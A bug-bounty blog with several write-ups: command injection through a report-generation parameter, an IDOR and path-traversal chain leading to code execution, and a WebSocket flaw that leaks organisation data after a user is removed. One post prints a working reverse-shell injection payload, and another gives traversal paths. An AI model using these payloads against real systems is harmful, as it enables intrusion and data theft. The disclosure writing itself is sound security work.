Private Program – Backtracking logs for Command Injection.

Hey guys, Today I want to share one of my Command Injection finding in a private program, If you haven’t read my earlier post of Code Execution you will need to read it first as it will make you familiar with the kind of web app am hunting here.

What? Go read it first

So let’s start,  Now as I said in earlier post I was going through logs of this web app 2Gb 10 files ¯\_(ツ)_/¯, One line caught my attention;

/opt/xx/local/phantomjs/bin/phantomjs --ignore-ssl-errors=yes /opt/xx/resources/tav_test.js 'https://localhost:8080/ki/?&type=tav&org_id=0&org_name=your+organization&report=abc&from=now-1d&to=now#/greport/iocmatches.rpt?from=now-1d&to=now' iocmatches.rpt /opt/xx/var/reports/3a71d03e9d584bd092968bc96dcb5f720_2017_07_02_10_58_00_002040.pdf

So the web app was executing phantom js on a URL, What caught my eyes was org_name parameter has this value your+organisation which means it may contain our input in the command. So first step was to finding from which section of the web app this command was executing and see what inputs we control, Looking at report under this URL I found out that it was running a feature called generate report which generates a pdf report,  Now lets have a look at the parameters;

{"parameter":"report_iocmatches_weekly.rpt","parameter2":"test","parameter3":"* * * * *","parameter4":{"to":"now/d","from":"now/d","mode":"quick"},"enabled":true,"created_ts":"2017-09-17T16:47:48Z","parameter5":"blah.rpt","modified_ts":"2017-09-17T16:47:48Z","parameter6":"3a71d03e9d584bd092968bc96dcb5f720","parameter7":"test","$$hashKey":"032"}

No org_name 🙁 But wait “parameter6” value reflects there let’s try this so I passed

"parameter6":"3a71d03e9d584bd092968bc96dcb5f720 | bash -i >& /dev/tcp/server/port 0>&1 |"

And Bhoom!

Now, this was simple, But getting through that 2 gb of logs wasn’t easy especially when they were split in part of files :'( I found this command going in 7th part.

I learned one more thing always test parameters by fuzzing different things, You don’t know what developers doing with your input ¯\_(ツ)_/¯ . Now if you are a good reader you must have noticed this request may be prone to many other issues and one is quite awesome I would write about those soon (Some of you may have already guessed that 😉 ) That’s all for now. I will also soon write about Backtracking their OAuth endpoints for account takeover 🙂

Thanks : Prince Chaddha

Thanks for reading!

Harsh from Bugdiscloseguys!

Getting started with Bug Bounty.

Hey, guys! This post is dedicated to all those who want to do bug bounty. Although I am not a ranker like my friends Sandeep, Osama, Parth, Arbaz, etc I learned many things throughout my way in bug bounty and I want to share them in this post 🙂


What should you know before getting into bug bounty? 

  • First of all, you should know basic things about web app(ofc. bug bounties are not limited to it) have what is HTTP? What is HTML? What are HTML Forms? What is JavaScript? What does JS do? Structure of a web app(Nowadays all web apps have MVC). IMO this thing matter. A book like Web Hacking 101 will help a lot.
  • Keep learning new things, How?  HackerOne’s Hactivity (Web Hacking 101 also covers this section), Other Hunters blog, And just dig in whenever you see weird term or thing, Maybe you end up learning a good thing?
  • Play with Burp, Explore it 😉

Approaching a target

  • If you’re new don’t just focus on reward only sites, go for points in this way you will learn by hunting and gaining some rep. points also.
  • Don’t change your target frequently, Give at least 2-3 days if you’re new to hunting it won’t be easy for you to find your first bug in minutes or hours.
  • Before hunting for bugs, Explore the web app see what type of app it is, Get some idea of its basic. I always checkout API Docs which gives me a quick overview of web app.
  • If you think that a part of site should have something or something can be bypassed, Dig in it, Don’t give up, Just a few days back Osama and I was hunting an endpoint and he ended up bypassing a fix, I gave up but he didn’t ;).
  • Try to bypass their filters,waf most of the time there will be a bypass for their filters,waf a quick example;

Recently I came across a target there was a WAF (sitewide) which prevents user to input any input which contains JS Event, Such as onmouseover, onload etc I tried on%0Bload but it was getting reflected as %0B itself, So I tested their API to create a post bIt I was doing it with API Console which had WAF so I manually made a request to with my payload as content of post and boom it executed 🙂 This way I managed to get more XSS in it 😀

  • Don’t be lazy, In above example Manual request bypassed it but not the API console cause API Console was hosted at which had WAF.

That’s all for now but there will be a second part of this part i will share some more fun things in it.

If you liked it do share 🙂

Thanks for reading.
Harsh from Bugdiscloseguys!




Private Program – Code Execution.

As the program is private; Program Name, Endpoints are replaced **
Hey guys, Today i’ll show you how i gained a Code Execution on a HackerOne’s Private Program. This is chaining of multiple issues, which were addressed separately and all were marked as Critical/P1. Nice team 😀
This  program had a ABC Enterprise installation and a Normal Installation which have some less features or say some less endpoints 😉 , Program hosted Enterprise for testers with admin credentials given. While Normal was available to download and host locally.
Normal Installation
  • Less features,
  • Less bounty,
  • Gives basic idea how the app is hosted and working on backend. 🙂
Information i gained using Normal Installation
  • Some internal services.
  • Web app structure.
Some XSS, SSRF were found in Normal Installation, But now i had an understanding of what i’m testing.
Lets go ahead and start with program hosted Enterprise with many more features / endpoints

1 – Critical IDOR

There was option to download logs, After downloading logs i started looking into it what things it contains. And luckily i found a request in logs
GET /api/v1/upload?username=xxx&api_key=xxx&dcid=xxx&timestamp=xxx
where other  users  api_key was getting leaked, Hmm this is good but we’re working as Admin login right now, So i tired download the log while being normal user & unauthenticated and it got downloaded. Using this IDOR an attacker can download logs while being unauth to instance and then further exploit it with api_key retrieved from logs. So now i can report this one but i decided to dig in it further.
After making request to;
GET /api/v1/upload?username=xxx&api_key=xxx&dcid=ggg&timestamp=123
I got another URL in response which was;
Tried changing filename for LFD but didn’t worked, changed upload to download still no LFD, Seems like dead end :/ But then i thought lets make an OPTIONS request (read in someone’s write up)
And GET, PUT was there, Made PUT request and server responded with ‘Content Length can’t be 0’, added raw data and again made request and response was 200 OK, Then i added ../../../../../../../../tmp/harsh.txt in filename and again response 200 OK
Then, ../../../../../../../../etc/harsh.txt and exception 😀
Permission Denied (/opt/xxx/api/uploads/../../../../../../../../etc/harsh.txt)
^ Not exactly this.
At this point i have enough things to report
  • Unauthenticated user can download logs
  • Logs contains API Key
  • Using API Key attacker can create files on server (where current user had permission).
And plot twist;
  • Api key was password of admin user itself.

All reported and got response from team.

Code Execution with Server Admin Interaction

So after reporting all the above mentioned issues, I challenged myself to use this endpoint separately and get Code Execution.
And within few minutes i realized a normal user credentials also accepted at /api/v1/upload and hence a normal user can create files on server.
Going back to logs and Normal Installation for gaining info how this issue can get me a Code Execution.
Realized the web app is started from /opt/xxx/bin/xlink, So this was simple all an attacker need to do is overwrite xlink with reverse shell script, and wait server admin to restart (just make some files not usable which will force admin to restart) the server by doing sh xlink restart/stop/start and as soon as he trigger this condition we will have a rev shell.
This issue was Normal user to Code Execution.  Traiged and Rewarded as Crtical.
Now this 2 bugs finished here. You might have noticed i mentioned “sh xlink restart/stop/start ” as the file is not executable. Will continue later with another RCE 😉 which wont require attacker to wait for admin to restart the server. 😛 Instead all an attacker need to do is visit a url and enjoy shell although this one will require attacker to have admin access of web app.
Thanks for reading.
Harsh from Bugdiscloseguys!

Hunting Websockets For Fun And Profit

It’s been a while since we have came up with any blogpost. 
So this post will be about how i grabbed every information that was being updated over my organization even after i was removed from the organization.
First let’s start with what is WebSockets?
A good explanation can be found here
Lets start, As the program is private i cannot share it so i’ll be naming it as and subdomain of the organization as
So while doing my normal testing i noticed that while changing any info on a request is made to WebSockets with the details of the like for example in my case:

 Response for the above WebSocket connection was:


Apparently after watching the response i though what would happen if the user is removed from the organization would he still able to fetch the data from the organization.
Now the question was what and what not can be extracted from the WebSockets?
The first thing i noticed that the user after getting kicked from the organization is still able to extract/grab every details of changes happening in the organization by connecting to the WebSocket request which we captured earlier.
Example of the response after the user was removed from the organization.
RECEIVED TEXT: {"action":"update","acting_user_id":null,"object":{"user_connection":{"id":74022,"person_id":205693,"last_active_at":"2016-10-27T17:18:07.603Z"}}}

RECEIVED TEXT: {"logged_in_user_ids":["202510","205693"]}

RECEIVED TEXT: {"action":"destroy","acting_user_id":202510,"object":{"person":{"id":205693,"first_name":"owner","last_name":"owner","email":"","login":"enabled","admin":true,"archived":false,"subscribed":true,"avatar_url":"","teams":[],"updated_at":"2016-10-27T17:17:20.656Z","updated_by_id":null,"site_user_id":null,"max_allocation_per_day":null,"assignment_ids":[]}}}

RECEIVED TEXT: {"action":"destroy","acting_user_id":202510,"object":{"user_connection":{"id":74022,"person_id":205693,"last_active_at":"2016-10-27T17:18:07.000Z"}}}

RECEIVED TEXT: {"action":"update","acting_user_id":202510,"object":{"subscription":{"next_billing_date":"2016-11-16","amount":500,"amount_per_person":500,"receipt_recipient":null,"status":"trial","purchased_people":1,"interval":"monthly","card":null,"address":null,"discount":null}}}

RECEIVED TEXT: {"action":"create","acting_user_id":202510,"object":{"person":{"id":205694,"first_name":"add","last_name":"hacker","email":null,"login":"disabled","admin":true,"archived":false,"subscribed":false,"avatar_url":"","teams":[],"updated_at":"2016-10-27T17:18:35.489Z","updated_by_id":202510,"site_user_id":null,"max_allocation_per_day":null,"assignment_ids":[]}}}

RECEIVED TEXT: {"action":"update","acting_user_id":202510,"object":{"subscription":{"next_billing_date":"2016-11-16","amount":1000,"amount_per_person":500,"receipt_recipient":null,"status":"trial","purchased_people":2,"interval":"monthly","card":null,"address":null,"discount":null}}}

RECEIVED TEXT: {"action":"update","acting_user_id":202510,"object":{"person":{"id":205694,"first_name":"add","last_name":"hacker1","email":null,"login":"disabled","admin":true,"archived":false,"subscribed":false,"avatar_url":"","teams":[],"updated_at":"2016-10-27T17:18:59.499Z","updated_by_id":202510,"site_user_id":null,"max_allocation_per_day":null,"assignment_ids":[]}}}

RECEIVED TEXT: {"action":"create","acting_user_id":202510,"object":{"project":{"id":799337,"name":"dada","color":"orange","code":null,"notes":null,"start_date":null,"end_date":null,"site_id":null,"archived":false,"updated_at":"2016-10-27T17:20:11.285Z","updated_by_id":202510,"client_id":398744,"tags":[],"assignment_ids":[],"milestone_ids":[]}}}

RECEIVED TEXT: {"action":"update","acting_user_id":202510,"object":{"project":{"id":799337,"name":"dada","color":"orange","code":null,"notes":null,"start_date":null,"end_date":null,"site_id":null,"archived":false,"updated_at":"2016-10-27T17:20:22.290Z","updated_by_id":202510,"client_id":398744,"tags":[],"assignment_ids":[],"milestone_ids":[]}}}

RECEIVED TEXT: {"action":"update","acting_user_id":202510,"object":{"project":{"id":799337,"name":"dada","color":"orange","code":null,"notes":null,"start_date":null,"end_date":null,"site_id":null,"archived":false,"updated_at":"2016-10-27T17:20:22.290Z","updated_by_id":202510,"client_id":398744,"tags":[],"assignment_ids":[],"milestone_ids":[]}}}

RECEIVED TEXT: {"action":"destroy","acting_user_id":202510,"object":{"person":{"id":205694,"first_name":"add","last_name":"hacker1","email":null,"login":"disabled","admin":true,"archived":false,"subscribed":false,"avatar_url":"","teams":[],"updated_at":"2016-10-27T17:18:59.499Z","updated_by_id":202510,"site_user_id":null,"max_allocation_per_day":null,"assignment_ids":[]}}}

RECEIVED TEXT: {"action":"update","acting_user_id":202510,"object":{"subscription":{"next_billing_date":"2016-11-16","amount":500,"amount_per_person":500,"receipt_recipient":null,"status":"trial","purchased_people":1,"interval":"monthly","card":null,"address":null,"discount":null}}}

RECEIVED TEXT: {"action":"create","acting_user_id":202510,"object":{"person":{"id":205695,"first_name":"aman","last_name":"dhaker","email":"","login":"disabled","admin":false,"archived":false,"subscribed":false,"avatar_url":"","teams":[],"updated_at":"2016-10-27T17:20:54.998Z","updated_by_id":202510,"site_user_id":null,"max_allocation_per_day":null,"assignment_ids":[]}}}

RECEIVED TEXT: {"logged_in_user_ids":["202510","205693"]}

RECEIVED TEXT: {"action":"update","acting_user_id":null,"object":{"person":{"id":205695,"first_name":"owner","last_name":"owner","email":"","login":"enabled","admin":false,"archived":false,"subscribed":false,"avatar_url":"","teams":[],"updated_at":"2016-10-27T17:21:26.586Z","updated_by_id":null,"site_user_id":null,"max_allocation_per_day":null,"assignment_ids":[]}}}

RECEIVED TEXT: {"logged_in_user_ids":["202510","205693","205695"]}

RECEIVED TEXT: {"action":"create","acting_user_id":null,"object":{"user_connection":{"id":74023,"person_id":205695,"last_active_at":"2016-10-27T17:21:36.192Z"}}}

RECEIVED TEXT: {"logged_in_user_ids":["202510","205693","205695"]}

RECEIVED TEXT: {"action":"update","acting_user_id":null,"object":{"user_connection":{"id":74023,"person_id":205695,"last_active_at":"2016-10-27T17:21:57.285Z"}}}

RECEIVED TEXT: {"action":"create","acting_user_id":202510,"object":{"person":{"id":205696,"first_name":"aman","last_name":"dhaker","email":"","login":"disabled","admin":true,"archived":false,"subscribed":false,"avatar_url":"","teams":[],"updated_at":"2016-10-27T17:22:06.751Z","updated_by_id":202510,"site_user_id":null,"max_allocation_per_day":null,"assignment_ids":[]}}}

RECEIVED TEXT: {"action":"update","acting_user_id":202510,"object":{"subscription":{"next_billing_date":"2016-11-16","amount":1500,"amount_per_person":500,"receipt_recipient":null,"status":"trial","purchased_people":3,"interval":"monthly","card":null,"address":null,"discount":null}}}

I was able to extract details the user email, project details , customer details and contacts 
The good thing i noticed was that i was able to extract those details even when i was on view only permission.
Thanks For Reading.